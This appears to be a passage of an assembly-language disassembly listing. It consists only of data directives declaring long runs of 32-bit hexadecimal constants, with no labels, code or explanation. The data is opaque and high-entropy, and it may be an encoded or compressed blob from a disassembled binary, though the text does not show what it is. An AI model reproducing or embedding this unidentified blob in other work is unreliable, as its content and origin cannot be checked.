		dd 0D99DCA0Bh, 295EF1D4h, 49809B86h, 210DF048h,	0ABD39001h
		dd 0FFB73BADh, 83B020h,	0C8A87F5Ch, 1967A084h, 9707A413h
		dd 0A0C30C64h, 327101DBh, 8C82A2ABh, 0DA22C851h, 0A0C8924Bh
		dd 0E5B4B14Dh, 35F4C09Ch, 9D705048h, 1B499CB0h,	90F7CBD8h
		dd 1E7F2A8h, 0FB0A76F0h, 0D02E70A9h, 29241463h,	4EC0B04Fh
		dd 2763C33h, 0BAB7B320h, 18765228h, 43329644h, 97784E12h
		dd 4AB41CA0h, 8009152Eh, 0B1069355h, 0E472F770h, 7BB17E00h
		dd 0A58D3510h, 76E78B01h, 0A271E9ECh, 9A9DE089h, 774678C8h
		dd 0F220890Eh, 3D0B256Ah, 0D0EBE00Fh, 13602D7Eh, 18108098h
		dd 0E4401F4Fh, 95DDD59Dh, 50E4C2Bh, 40442617h, 6C764B08h
		dd 815EA51Ch, 5AF79C62h, 51A300F4h, 0C94E7F2Eh,	0F000F939h
		dd 97E43DCh, 12241F75h,	98B05FD1h, 1097333Ch, 18A7FB8h
		dd 0B89F98C0h, 391F0EF2h, 0CD250050h, 4457067Ah, 1704012Bh
		dd 0C6BC87EAh, 4686C4Bh, 0A711150Fh, 0A1F7D8E0h, 0AC22BB78h
		dd 75CFEC00h, 0B7494697h, 1A0017B8h, 70765B05h,	5D2255h
		dd 884424CBh, 720D5453h, 0C060B64Fh, 4C6B7151h,	7D80BCFBh
		dd 44A0EFDBh, 0DD26187Eh, 0A81D6CB0h, 0F6576980h, 986A3450h
		dd 0AB60B9C0h, 76D20650h, 1428A165h, 0E9607872h, 6C31D009h
		dd 0F1BD09FAh, 8C58BFF3h, 0D3765710h, 93DA700Dh, 0C71EE041h
		dd 12BFB88h, 7B884E3Ah,	0C4FFD9D8h, 414A7698h, 0A5836C08h
		dd 47ACDCC0h, 0F513610Eh, 0A8C70D56h, 66C39088h, 0B185D384h
		dd 35782813h, 68AC8F07h, 93D28E40h, 1B184832h, 4C8909A5h
		dd 0D80BBBC7h
		dd 0E277446h, 40DC3A44h, 919B03A8h, 0D2BE0F64h,	91297D40h
		dd 0A426EF50h, 1E80A818h, 27C370A3h, 0F81401FCh, 4BB49B0Fh
		dd 1E062F9h, 38E679F6h,	0F860B985h, 62D389CEh, 40DC02ACh
		dd 737D939Dh, 39580058h, 9252BA7Ch, 0D2FDB4A0h,	7DA41684h
		dd 0C204D0EFh, 4AE6C431h, 0A43E748h, 749E2345h,	94609869h
		dd 0DA4900FBh, 0E28C871Eh, 48017564h, 8AB87337h, 0E037584Fh
		dd 45219501h, 3E8728DDh, 0F12D1844h, 85CD10B5h,	54B8202Bh
		dd 3139C148h, 0F95D8022h, 4A44216Fh, 0C47CA19Ah, 1B461010h
		dd 2D0749FEh, 833BF6D8h, 858B0D20h, 382E15A5h, 4F08F8BEh
		dd 8C80F1C1h, 0CFCD2B82h, 1830EF1Dh, 36D088FAh,	4B450B05h
		dd 0C8C2A1FCh, 0DB3Ch, 2142DC54h, 39508DE5h, 450EBF44h
		dd 5F3E1F8Fh, 0B1510B40h, 0B3CD7F80h, 5C10BE00h, 0EE0E25B4h
		dd 0B433F1F0h, 23D4C21h, 4AC31D0Dh, 959CA211h, 0C4B621BEh
		dd 1374794Ch, 34E0521Ch, 394A996h, 0E983182Dh, 7091591Bh
		dd 83F4287Eh, 0A84596F3h, 171173F7h, 74ACA760h,	0C04CCACCh
		dd 10E66977h, 0F05F55DAh, 0CD24302Eh, 5EF48C44h, 0D3AA9F00h
		dd 37F6CEF8h, 1C110EE9h, 0F5AC93A8h, 0AA00E8F1h, 89E523A0h
		dd 90B3DD9Eh, 0F2580025h, 7C169DF1h, 0B2138B2Bh, 14232FD1h
		dd 2F92298h, 5C218C80h,	914F610Fh, 6EBB098Bh, 0DCF30B9Ch
		dd 0CE494F6h, 0B0049278h, 0E875E1B4h, 47C87C99h, 8FECBBB2h
		dd 1423332h, 8CD45F36h,	6556C680h, 765DCAh, 8B92742Ch
		dd 25750358h, 3BFED2E4h, 4F392709h, 0D1F4A2AAh,	4000F950h
		dd 0A5BA906Ah, 9FAED802h, 0E64EE924h, 0EEBD0140h, 225A94F8h
		dd 1FC7FCC2h, 0CE54CB00h, 0C96D16AAh, 0D4C2E3Eh, 150E89ECh
		dd 3C79C489h, 4F202064h, 89583B08h, 40B02480h, 3229A519h
		dd 2289420h, 622912ABh,	0B8CC0ED3h, 2FFB452Dh, 567E80E8h
		dd 0F628969Dh, 42413F74h, 0AA4E8100h, 0C8165347h, 5EB03A05h
		dd 78404DD7h, 7BBAB5C9h, 279505CCh, 0DDFB2372h,	0E8600330h
		dd 922AE280h, 0F7D230Fh, 0C7D1223Bh, 963CD9A9h,	0A62C09DAh
		dd 872ED018h, 0E2D06507h, 78F0EDDCh, 4CCD8E3Eh,	4610A8B6h
		dd 191C50EFh, 409D3D26h, 92741115h, 4F4FC827h, 0FC9140E1h
		dd 4CC77A3Ah, 99766378h, 352B0124h, 60642040h, 53489BC9h
		dd 74A82E8h, 95D4D00Bh,	5B17F018h, 0C4B88C00h, 49BC56BFh
		dd 81660932h, 406E4D48h, 21B4244h, 0BDB48114h, 0C4CE45E9h
		dd 44187727h, 8E8C0060h, 0BE29C931h, 712CA6C7h,	58046C33h
		dd 0A0A05D5Bh, 1247E8A9h, 5C9A7CADh, 258C6AA8h,	0D04A482Dh
		dd 4627BC84h, 0EC9D5D3h, 0A0334CFh, 0F2358580h,	4D02EB57h
		dd 0AB5E1889h, 8CD382h,	0DD6F5065h, 4A01594Fh, 64E13676h
		dd 0C477035Dh, 3100C022h, 0B69C0C9Bh, 2750C781h, 0F4E545C1h
		dd 3A544F80h, 4DE319h, 0CFD3834Bh, 87DA2604h, 0C08AE265h
		dd 0A50020A2h, 0A151DF9Fh, 5D00E5B6h, 0FA90143Ah, 9EABBD96h
		dd 0F89138h, 439EDAB3h,	398F3290h, 0D48BB5C4h, 505B8DF6h
		dd 3860A504h, 0F1732200h, 23018AC5h, 0BA4EABEFh, 54C8BD11h
		dd 0E1DB00FFh, 38A16806h, 0DA184F01h, 2DC9892Ch, 3CFE5152h
		dd 1E1E1022h, 0CB8C0027h, 7F8BDB84h, 95C9093Dh,	0C89C4788h
		dd 0A1A780BEh, 0E31DF21Ch, 0AA889605h, 0F4A9D884h, 43DB2EC0h
		dd 563B2A2Ch, 0E230A79Ah, 78F12Ch, 19D6C6F5h, 4303F1D7h
		dd 0A75DF889h, 3DDBF861h, 321E0291h, 0B7BD9B94h, 0EBE0EC7Ch
		dd 529929h, 7BFB9F31h, 555C3C8Ah, 0ED06D900h, 0EA804C38h
		dd 300E5ADAh, 0DC5512DCh, 0A0F26D04h, 98891EE1h, 3E56E0h
		dd 154963BBh, 1AA4BF69h, 61CA2200h, 31706BEAh, 3346BAh
		dd 0DC1A6210h, 3F22250Bh, 4E4A114Bh, 0D9CF022Ch, 0F16CA300h
		dd 0E012B5F3h, 30757D05h, 61B4B820h, 17430BB1h,	5CC4775Ah
		dd 0CA73C300h, 0B40E668h, 7C4D138Ch, 8AF00939h,	1D036871h
		dd 0E1D7DCFCh, 9080F018h, 9FF522B1h, 41254C5Ah,	0C0DCC9FBh
		dd 0A3C48414h, 814849D4h, 0CFA0A711h, 8BF575F5h, 1B10602Eh
		dd 0A73C052Bh, 0AB120419h, 44BD3D09h, 349EC488h, 52CB4B40h
		dd 402B27Eh, 0E8DB695Fh, 258A40F5h, 31D8121h, 10827CE6h
		dd 2FA0A6BAh, 6F02BFCCh, 4C742353h, 0A68C74E5h,	0F7154054h
		dd 0A100FE64h, 0A466A6DEh, 0EE7F9DD1h, 70EC397Ah, 650C77A6h
		dd 93088C37h, 70BAD01h,	71B0CEE5h, 0E63B9430h, 9ADC178Eh
		dd 0AC490F9h, 2009609h,	2290F177h, 1298CCA1h, 60A3D586h
		dd 0C2A5700h, 0E25A39B0h, 3A4610C8h, 6480F552h,	4983AFA7h
		dd 0B1DA4BEh, 73166512h, 0B5B33C98h, 7A98820h, 1C193F1Dh
		dd 0DBE4B1CEh, 0CCEC202Fh, 0C601426Eh, 89BD5DD7h, 0C8606FAEh
		dd 0D1F8402Dh, 0E09F962Eh, 24AE8562h, 0A90FC514h, 0A504839Ch
		dd 72790019h, 37FEAE09h, 420E8EE1h, 0E27AB97Bh,	52E8CF3Ch
		dd 76DA0160h, 0FEB1E1BFh, 0E06C382Ah, 55E24Dh, 3B5215DFh
		dd 0C7D694BAh, 50ABFA31h, 3CD4B89Dh, 0C44CBE3Dh, 0F7914015h
		dd 3B7C74E7h, 0F582D1BBh, 938D85F1h, 1A0F7C58h,	6408BFB9h
		dd 60E02594h, 0E0D18A1Bh, 0A90F1A03h, 0B65191DCh, 121DBA30h
		dd 0F6640D8Bh, 0AB3F00B4h, 0AD97DCA0h, 805C917Ah, 3094E8Ch
		dd 600B77C9h, 44679296h, 60A620h, 69D8126Eh, 47502A5Eh
		dd 89F87D4Ah, 0CFC9FA01h, 6A9A03F8h, 3F048061h,	9D008C72h
		dd 0B78B6F39h, 6894F94Bh, 1B63A480h, 0CECE9h, 3083FD94h
		dd 3A5B6266h, 2E759212h, 4272C4E0h, 0E3303C3h, 0A0CE4854h
		dd 92B14C3Fh, 0CD6A4EF8h, 36DBF94Ch, 14E2300h, 9F6227BAh
		dd 78202BDBh, 14445D69h, 806524B5h, 0C45B8BC9h,	0E34C17h
		dd 63443B88h, 5C8BFC82h, 581F1138h, 0F1FD1024h,	5A90884Bh
		dd 8D44C609h, 1ECC4F5h,	0F934EC04h, 28F3CC4Dh, 0DB22C0B8h
		dd 715AAC68h, 80249196h, 7263C364h, 40760E76h, 8A424504h
		dd 30F35BC4h, 20FB3212h, 47537C5Ch, 5FBA9B13h, 0C98B4CA6h
		dd 0DC9E1818h, 0EBDAF500h, 0B58EE2CCh, 0E37000F0h, 307EEDE8h
		dd 677124D5h, 4E787727h, 4028B410h, 800B587Eh, 0A6B06807h
		dd 0E850C574h, 50D01D06h, 275A9813h, 4042A0F1h,	20425476h
		dd 245E1ACEh, 91BB2EE7h, 410FEA4h, 3B0067DBh, 0F3038E7Ah
		dd 709E1514h, 64510098h, 92E1E78Dh, 3404EAA0h, 60583646h
		dd 570830E3h, 6428B001h, 44C2112Dh, 0A3E6006Ch,	0DBF11B86h
		dd 2D038142h, 77CBBC6Dh, 0F46AE851h, 43DC09B7h,	48590B11h
		dd 99C03264h, 975AF8h, 0BDE5ECE0h, 0DB67E9EEh, 3CC00BFh
		dd 986C283h, 0C14F7AB6h, 10249C58h, 9930D629h, 12FD43EBh
		dd 0E707820Fh, 0C451092Ch, 8050657Eh, 7403D463h, 76383C27h
		dd 83488077h, 56115798h, 0DC2203D3h, 85DD879Fh,	0ECB782h
		dd 0C3F0A849h, 0FC458B1Ah, 0A4D1AC90h, 98BCBEDCh, 9AE971C9h
		dd 1C96ED0Fh, 9932E19Ch, 8022F992h, 7BD0430Eh, 5049A701h
		dd 50712F0Dh, 2BD46842h, 150AF293h, 74BA6FE3h, 41BE218Eh
		dd 991AE619h, 5D64D069h, 4D5FC23Bh, 81F88864h, 59EB26F1h
		dd 0AEE0CAD1h, 9527B041h, 0D224B02Eh, 89D0BE76h, 0A859A914h
		dd 0A5B37708h, 570240E1h, 5848B9C8h, 0A303C7A0h, 3A13B58h
		dd 0D855C3BCh, 3E323E06h, 1D25315Bh, 0B35490C8h, 0A968AA09h
		dd 0B8DABAh, 0A5FD8F30h, 3A573FE8h, 848B4F25h, 0B6445A24h
		dd 0D4288C95h, 3E73A21Fh, 7F1D6007h, 2471A127h,	34691F0Fh
		dd 0C88EB000h, 47DCBAAh
		dd 7921CD0Fh, 0EA2AA0BCh, 0B46E0853h, 719D6278h, 44648DCh
		dd 0EB7836h, 0FC4499A6h, 8390B9CEh, 0D0427507h,	50E17046h
		dd 202A286Dh, 51AB4D38h, 7B395902h, 6680B307h, 576B057Ch
		dd 9C3FBF56h, 0A788A1ACh, 8B97006Ah, 0C81E89D8h, 0B2000D4Fh
		dd 1F3F9E2h, 9BE85EFCh,	0A0102534h, 4900B22Bh, 9A2F8325h
		dd 0EB57517h, 0BDC272E7h, 3A605AEDh, 20FA7432h,	1FC2DFABh
		dd 0A8422102h, 0CA854C59h, 1C6C712Ch, 4A480397h, 90E2D921h
		dd 9BED9898h, 9878A19Dh, 30817D3Fh, 37AE60A2h, 0F881C369h
		dd 0FD8C877h, 2300ED7Fh, 1786F6DCh, 599B5F8Ch, 0BC955047h
		dd 12BE15C5h, 150A854h,	7CD194C5h, 845C71DAh, 689A88FFh
		dd 1FE54650h, 0D03D0B00h, 82C8D4A7h, 7ECF00ECh,	48E858DAh
		dd 119F53D2h, 982A06F4h, 403D9DF8h, 5CB68B4Dh, 0F1B82241h
		dd 18E20EF8h, 5C9A4829h, 0E902444Eh, 8C753F1Bh,	6698C297h
		dd 47A21C8h, 0EEA0E6AFh, 0E8D4BE93h, 355960D4h,	131D3EECh
		dd 4C04264Eh, 0A912FC15h, 0A43A8390h, 35D900ADh, 55FFA58Bh
		dd 167C8653h, 98A49950h, 0B020824Bh, 0E4443Dh, 0DDFE6A71h
		dd 3739551Eh, 911C8F03h, 8157F185h, 603B475Bh, 27ED244h
		dd 57081499h, 0C491A7F3h, 51FDE8C1h, 12CA2600h,	0B36DFCEFh
		dd 97E701F4h, 0D787E411h, 202C7F0Ah, 0C03A00F8h, 0C975369Ah
		dd 55204642h, 449C1651h, 4B88E2E8h, 3C00148Ah, 0D809EB0Ch
		dd 3800CBEEh, 0BF777853h, 0E22B43Ah, 99BD73EDh,	50AB4B4Bh
		dd 2B3B9C4Ch, 0AEA2AC2Ah, 69074822h, 0E91508F7h, 1FE48710h
		dd 0C8455928h, 2E3342C0h, 0FA00260Bh, 4B949C98h, 3123C576h
		dd 0DBB87C06h, 0A49713AFh, 90CEB64Bh, 0FB80B0B6h, 0FEE4058Dh
		dd 0CB925BEDh, 8E5000B4h, 6F383493h, 0AC7747h, 74CE98B9h
		dd 312395E2h, 8291B02Fh, 46C53F90h, 0E99801A4h,	0C7524862h
		dd 10B028E1h, 9C26AD7Bh, 3A9EE188h, 80F420D9h, 99ACA65Dh
		dd 371589C8h, 1E53E0C0h, 45005457h, 28A16B37h, 0FCDEE1Ch
		dd 9A59BFB6h, 0FBF30B87h, 6A4A78EEh, 204DF4B0h,	64A40BF8h
		dd 5DA34904h, 0ECA33B4Eh, 607410Ah, 0A4E944FCh,	0C7125550h
		dd 0C400D860h, 0C41061B8h, 23AF84Bh, 9BFFF9DBh,	8046D60Eh
		dd 0F332AA00h, 55DF9F15h, 13C00049h, 9A617AA5h,	7E0F65FFh
		dd 5610DEC1h, 56D88C20h, 2FF70075h, 0AF494679h,	0FD0413F9h
		dd 4A55B910h, 0B8C65AEh, 80C47054h, 0B814BDh, 491897F6h
		dd 0FB1BC23Fh, 6B573604h, 90986C02h, 0DB65050Eh, 49CB51D2h
		dd 6C48F68Ch, 2C0034A1h, 0A63B65FBh, 1FDAB847h,	803F6EF3h
		dd 9BC5D1B1h, 0BD249652h, 43407C53h, 2478BA6h, 0CC80118Ch
		dd 0B876F632h, 0C077DE8Fh, 1F1B7863h, 0ECE30013h, 4076FF7Ch
		dd 957DA4DAh, 0F1707090h, 2448D35Fh, 0B02E80B1h, 6A29CD06h
		dd 39B28100h, 13881D70h, 1CD15DBAh, 0B32C940Ch,	10F18438h
		dd 1595220h, 45AD974Ah,	2C74A0FEh, 58F98054h, 2616609Ch
		dd 12B4BD9Ah, 0C0B0B8A1h, 2C2FA8F2h, 0C7B601CFh, 0AD4A777Eh
		dd 27406CEBh, 986C4A4Ch, 23FAECh, 0F73F8448h, 9CA91CDEh
		dd 351250BAh, 0C4A9F669h, 41B33A85h, 0D1A0A7B8h, 8503BF2h
		dd 0F0100028h, 0C89BD58Fh, 0BD110089h, 2E68A0AAh, 220BC0EAh
		dd 0E6D08012h, 0F8F5006Ch, 6324E2E9h, 7501DD4Eh, 0DE0CBDBFh
		dd 31F0C75Ah, 883C2D71h, 0D930B8E4h, 60BA0675h,	76824CAh
		dd 0C5E100B1h, 2146B559h, 0ADF6A0Bh, 0F10B8FFh,	0FC5D0307h
		dd 9583F01Fh, 0C86F26C8h, 0C326724h, 0A0FDE204h, 750018A3h
		dd 97DDD78h, 0AC0381E5h, 3A22FC2Dh, 7A301467h, 0D212C005h
		dd 1D188889h, 8504286h,	409AB179h, 5CF39827h, 87AA600h
		dd 3144486Bh, 5A1A05C5h, 203B18FFh, 871D0FB4h, 31983500h
		dd 20074B7Ah, 8F89139h,	5200AEE7h, 7B76157Dh, 0E11705CBh
		dd 6BF97Ch, 7A9651C1h, 2283C18h, 0D658E099h, 9EA61DF4h
		dd 0CC31BA3Ah, 90E989C4h, 6990ACh, 3F417643h, 1CFC5C44h
		dd 1A1B5307h, 0FE70BCDAh, 5A4392A9h, 675440BBh,	48C577B2h
		dd 93A79000h, 0AD455F71h, 3D2302D3h, 228BD473h,	522DCCB0h
		dd 0A908808Ah, 219C901h, 4F7AB713h, 3C58BBDEh, 0D1509B77h
		dd 0B6F0414h, 0AD5100B1h, 0F0500D4Ah, 5D1D390Eh, 884EB6ADh
		dd 29EB6E00h, 7572EE8h,	33C80E2Fh, 93E30EB2h, 3BB979E2h
		dd 1069BBh, 7D15B58Dh, 256CB47h, 23EE544Dh, 6429B3Ch, 538BF820h
		dd 0D16B8D5Ah, 0ED94E0C8h, 2498583Bh, 0F0E87504h, 764BCA0h
		dd 952FD22Eh, 585E807Ch, 7609784Ch, 2CE44982h, 62681295h
		dd 0E8C4C4D0h, 0BE9B00BCh, 0F46AE747h, 0A613F68Dh, 80F08AB7h
		dd 38946E72h, 18964260h, 0D080F6CCh, 7837EA85h,	0B56B307Ah
		dd 4440D509h, 0A53D9327h, 180F25A8h, 0B4E20089h, 3EDE1753h
		dd 0D8DC3970h, 67CAD680h, 2170C98Fh, 4212DC09h,	0FD84426h
		dd 0D370DAA4h, 2D2EBB80h, 0B001DEFh, 14D571B8h,	5AA9147h
		dd 224F871Bh, 0F8FDC533h, 617684DCh, 0A42823h, 71D46730h
		dd 42D5003Ah, 187442Eh,	0DE7FE28Eh, 0E04E4A09h,	49C7492h
		dd 16C9CB8Ch, 48D03809h, 82B00830h, 0F061708Dh,	760057E7h
		dd 209F37E2h, 3A955682h, 0E38031C9h, 17FEC17h, 0EA323359h
		dd 66B511EFh, 10F694h, 0AAEE1589h, 67335173h, 0F4DC751Ch
		dd 1D4A76C0h, 18135Ah, 8157324Fh, 5C3E9DC8h, 958CF213h
		dd 0CC907816h, 3F71D5D4h, 4C00F842h, 0DD11F76Eh, 200073F1h
		dd 4BEEC1DEh, 2330E5Eh,	2B0C3D07h, 407A4DD2h, 496F98B6h
		dd 80468029h, 122FCDh, 0C7CA351Bh, 0AB0F181Ch, 839F983Eh
		dd 5336D08Eh, 0FFAAB091h, 0E8177DECh, 32A60050h, 6EC75713h
		dd 0CA1DF0FEh, 70447CD1h, 0B8F995DAh, 2C502D16h, 9007A91Ch
		dd 0FD01B120h, 0C0EE0AF7h, 69C46B10h, 50863C81h, 1E8D0D80h
		dd 3416DC22h, 0EBCCB406h, 19D23Ch, 0E721AA0Fh, 3FD4C8B6h
		dd 9250B200h, 0DE676288h, 423800B9h, 30DDC40Eh,	580BECEBh
		dd 0D9B0710Dh, 0FCE680BCh, 4CAD53CEh, 60A79B0Eh, 0C8FC9263h
		dd 47114180h, 0C1C00B49h, 72AF9EBh, 0D7131EF3h,	8F114A1h
		dd 43991D0Fh, 9CC83FC9h, 2E096970h, 0C4E5C082h,	1880060h
		dd 776E7C91h, 7625A244h, 3DC78BBh, 8A644E58h, 815BFB4Dh
		dd 6648E420h, 3AB05Bh, 821BA7F0h, 31712414h, 7604D377h
		dd 326439DCh, 0B258D0C1h, 96D73DE0h, 0B139E3CCh, 961610AEh
		dd 70F22C9Ch, 56A7FF00h, 0AD3D2557h, 6F7BE302h,	0C0E87704h
		dd 27852D09h, 68107EBBh, 0D37F8EF0h, 0F9A20F05h, 0A4BDF2EBh
		dd 16CB7302h, 9CC41E89h, 80138138h, 0AB51EA44h,	824808h
		dd 0E15755F8h, 63CE677Bh, 7C403F04h, 0D8FCFE43h, 0D09C9308h
		dd 0B34960BCh, 1BA7E25h, 9EAB1E31h, 72E00ECDh, 572D17A0h
		dd 250274A2h, 0F3DCEE73h, 0E8D94C80h, 0CC722CF7h, 0A47696FAh
		dd 27C06A5Ch, 0B91068E9h, 289500FBh, 0ECBFDEAh,	48003993h
		dd 0E4516208h, 25927FA2h, 8479BE27h, 0A0B88E80h, 9CE88FEDh
		dd 0E425401Ch, 790CEBF2h, 0D9984C3Eh, 7CFF232h,	0B7016CB9h
		dd 7D961040h, 0C50BD648h, 0C03D353Eh, 220BE50h,	0C45AB957h
		dd 884094B6h, 0CAEC83EEh, 0E8F661CBh, 3E6E60h, 31B04D95h
		dd 0AE227B8Ch, 3A0EAA05h, 0F082496Ch, 24C044E9h, 52D3F9h
		dd 0D98CFF09h, 0F13DE410h, 828087AAh, 7E76395Ah, 0C4960058h
		dd 0E12E322Dh, 380252D6h, 921D3BEh, 90FC4399h, 0D070E9h
		dd 0D163FD8Eh
		dd 283A44CAh, 3373B00h,	5EAA6B18h, 2DC20248h, 0EB6DCB24h
		dd 312F18E1h, 0DCD82ED4h, 349A0005h, 6CEF90FFh,	0E0E531EDh
		dd 5C944D9Bh, 61673280h, 1A014BB6h, 8C9E0EAh, 5C40C8F6h
		dd 7F554CC0h, 90BF035Eh, 6F7C15BBh, 41A36CA0h, 16F8444Ch
		dd 50024D86h, 0C1CAB74Fh, 8C550A9Ch, 70DCCCh, 0F38E8FB5h
		dd 192B3B53h, 0A90FB809h, 0A444AAh, 8C481B1Eh, 69B686BCh
		dd 0DC00824Ah, 9DE22753h, 8AF409A2h, 48106B7Ah,	1C1F253Fh
		dd 0E8671948h, 3E70D4h,	4B871F86h, 0C45C8B3Dh, 0A11D0D1Eh
		dd 26C09714h, 46AD7C28h, 58DA2CA0h, 2D160032h, 832BB8C2h
		dd 3B2A6103h, 0C944E50Ah, 118A6AE4h, 2914F7DDh,	0F5E680A4h
		dd 8F4F5B32h, 7D859F12h, 0E0490482h, 23E914h, 0FF71A876h
		dd 0CAC2E653h, 1C6F4B05h, 480916FCh, 0B6C8684Ah, 0C8C55F48h
		dd 335C1C48h, 0EF060005h, 7E837028h, 0D870022h,	1D118F13h
		dd 0AF58C055h, 0EB6A00BCh, 6961A3ABh, 211B008Bh, 0CE50F690h
		dd 0D216B667h, 5820F992h, 1637D07h, 8AD66434h, 0CC0EF1C6h
		dd 89D6441Eh, 0A9A4E801h, 0C0F7E5C4h, 601C50FBh, 0F19A11AAh
		dd 0CC003279h, 3E1D7710h, 1FD874DAh, 0C5E1B711h, 0BC6B7217h
		dd 87638850h, 7804ABFh,	291540FDh, 240062F2h, 90C89732h
		dd 59EDFEh, 0E42F1CCEh,	52139DB8h, 6F0A1800h, 9832D36Dh
		dd 41AA3007h, 3083E68h,	2651931Fh, 0A077E540h, 3D024F34h
		dd 0C480C759h, 829D4419h, 4D1C2593h, 41006A70h,	566BF746h
		dd 9BB8B88Ch, 0B42C80A4h, 0E023C38Bh, 8082A13Dh, 0FA2BC73Ch
		dd 0B74DD3F3h, 91C8F410h, 0C4D6DCA2h, 0C1DB0943h, 0C0429499h
		dd 104420h, 74296A4Dh, 42252FFh, 5453AA02h, 404C5F40h
		dd 99B75170h, 0E8A60044h, 1C6AE69Dh, 3216CC0Eh,	584998B4h
		dd 945F304Ch, 0BA719140h, 0EC443094h, 0B56C0112h, 0C8E83459h
		dd 0D700E210h, 0E4788F56h, 0DD0BA5h, 0E1216DFBh, 53BFD6E7h
		dd 9A51B013h, 0AD84A4h,	4F5C1D62h, 0FB50E8B9h, 4019274h
		dd 0DA6ED8C1h, 6AF1677Ch, 0B1433C40h, 88784FDCh, 810086BCh
		dd 0ABFF5AA2h, 2FED386Ch, 94A9498Ah, 15000C54h,	20BA134Fh
		dd 9491829Fh, 909EF0A2h, 0D9286A97h, 0BA4D0110h, 6BBE76C6h
		dd 3FEECC30h, 0CAA800E0h, 77581FB4h, 51242533h,	2905103Ch
		dd 0B0EDCC46h, 83FCC7C0h, 260E9E01h, 606D1606h,	0CF0F0EA8h
		dd 1767167Eh, 4B9804E5h, 452D4571h, 0F03358C9h,	78A9E100h
		dd 0CC4BF85Bh, 42B99600h, 307C6C36h, 0D84107B6h, 761788Ch
		dd 0A8580DEh, 84A4E838h, 0EECCE201h, 1C671B5Fh,	5824C870h
		dd 13A5B074h, 0F8B025DEh, 31809E18h, 0E3099578h, 0D9B20087h
		dd 4FF7F333h, 0CF5C4344h, 0BAAB838Ch, 6AE2A24Dh, 48D1D0h
		dd 7E97B9C2h, 0CE07876Fh, 819C446Bh, 5DCCA1EEh,	0FBF09D04h
		dd 648B4875h, 0EA20312h, 48584F2Ch, 87784607h, 65796400h
		dd 0A6AC7731h, 38911D8Ah, 54E040A2h, 5A909DEAh,	11EC070Eh
		dd 0D72A4089h, 7FE21E42h, 0D231C663h, 0B90008D3h, 2AE66440h
		dd 1EC1C347h, 410FE938h, 98F22114h, 2C806028h, 31CA8034h
		dd 63D01287h, 704582h, 0BB2FB05Ah, 0E39C0A09h, 92E22D18h
		dd 757A528h, 0EF785996h, 2CA680ACh, 7B01F948h, 8092C1F4h
		dd 30F4132Ah, 8B9C003Dh, 6A042B5Ah, 40C3A58Ah, 797BD1A6h
		dd 0FD900008h, 3BB04902h, 82002BB6h, 576123A4h,	0A08ADDA8h
		dd 80C0E318h, 0EAF23431h, 8CD9B73Dh, 64E49C5Fh,	0FE850191h
		dd 5DAD7872h, 0D1998CEDh, 569AEh, 541945E7h, 3D1B136Ah
		dd 0F4C83502h, 20A6E39Fh, 74D01033h, 2E698002h,	0E326A5C0h
		dd 0BE2006E5h, 59F652BBh, 0B763EF18h, 3E105939h, 25803070h
		dd 7860FD1Fh, 0B0C0F33Bh, 7CA93FC1h, 6F230BA8h,	2D005A41h
		dd 0B9791391h, 421A7200h, 57803E0Bh, 8F303032h,	0AF443788h
		dd 7BDEFF14h, 3A2518C1h, 0C045D151h, 0A92334D1h, 0A1262EEEh
		dd 0D4007651h, 8F8C14A7h, 0D00B2841h, 0AD4C0C20h, 95B1680Ch
		dd 93BDB0A0h, 0EA108981h, 0D1C0B5D9h, 0F93D9C1Fh, 309E62Fh
		dd 0E9E789F4h, 2100E4D9h, 8EEB48A0h, 2499A95Ah,	485901h
		dd 862D9DA7h, 24012F0Ch, 0DD8CB9D9h, 4C22DB3Eh,	5A6B7F00h
		dd 5F03FD72h, 8D9F5201h, 0FCF9BFA5h, 48E84DC1h,	0C960A3Fh
		dd 8EB4F28Fh, 3EA790BCh, 0ED68A0F8h, 0C102D7C9h, 910D65F6h
		dd 16CF1887h, 51F22F00h, 105FD4C5h, 0A94F004Ch,	0BBE9E63Ah
		dd 0F0266177h, 7100DF88h, 9B46C5EEh, 0E3C604D6h, 912E73A5h
		dd 4C31E830h, 0D00072C4h, 2E6CAD6Dh, 0CAB060h, 0DCBCF717h
		dd 2DE2D8E4h, 125A4003h, 0F868F3C3h, 0AC99E8h, 39F09411h
		dd 0B7A98966h, 0DADF3C04h, 1892A75Fh, 19C448Fh,	1FDCA8E2h
		dd 0EC265612h, 210076FDh, 934229EBh, 0BFC13Ch, 114A1FA9h
		dd 5CECEA0Dh, 586B8000h, 0E559155Fh, 99391AF2h,	0EB4219E9h
		dd 1F5810A0h, 0B1000792h, 0F8F73210h, 127D4A08h, 389E229h
		dd 443E0204h, 0EF338CA0h, 0AFE82C00h, 0E27961E9h, 88FE54F9h
		dd 0F03A0091h, 76B29BCDh, 3928B68Eh, 71040878h,	888762ACh
		dd 49A82490h, 2B921FF3h, 3E9C7Ch, 2C73D4ECh, 0B000F94Bh
		dd 9EA90ECEh, 58AB9B31h, 0E633A511h, 90B4D269h,	932425C4h
		dd 0F42C9D02h, 60E5BCB2h, 451378h, 344A0EF5h, 0CB39FBDBh
		dd 0E64E4600h, 9A04F10Ch, 54B200F7h, 0EC0E6DC3h, 703AEA6Bh
		dd 0A873DB3h, 8F84511Eh, 0CE376100h, 0C006E4DBh, 0B570D858h
		dd 389938E3h, 0F3440828h, 0FFBB0A46h, 80AC56D4h, 0FAA96D40h
		dd 0C200E9D5h, 7F858F51h, 13E8A53Dh, 40390796h,	358BF360h
		dd 30001C83h, 780EB7DAh, 70D9FAh, 463CA16h, 32EC4DC6h
		dd 2C991C7Dh, 7C843400h, 316CBF1h, 970D6D46h, 0E2881723h
		dd 8A0D210Ch, 6E8B389Dh, 71DC64D2h, 0A3C0A887h,	0E388C0E4h
		dd 0D12381A0h, 9F46648h, 213978EFh, 0A32EBC40h,	141431BEh
		dd 0A5A0C0E5h, 5D019299h, 28FDC250h, 77E0E75Fh,	0C1E2008Fh
		dd 9C730704h, 7D001459h, 0DF25EBB6h, 2162E4h, 8EC2152Ah
		dd 3A44FDA0h, 4812B81Dh, 3645CAC1h, 619A8F72h, 0AC40F171h
		dd 6D2623A3h, 0F4E74876h, 404E9ED8h, 0A269A136h, 0E300FEBDh
		dd 26D5E6E4h, 11E77Ah, 75166AB0h, 677FAE5Ah, 0EE373000h
		dd 0C3FE2571h, 0E09804h, 232FBE89h, 0CA76AF2Bh,	310C8230h
		dd 0B121BB9Dh, 11E8014Ch, 0CC9EA171h, 7516FF52h, 9851BA89h
		dd 0D2227FBCh, 616000A0h, 0E38F03F6h, 0D100ECE8h, 562A3786h
		dd 395339Bh, 683935BDh,	0F0C1F71Fh, 0E4F821B5h,	8300C6AFh
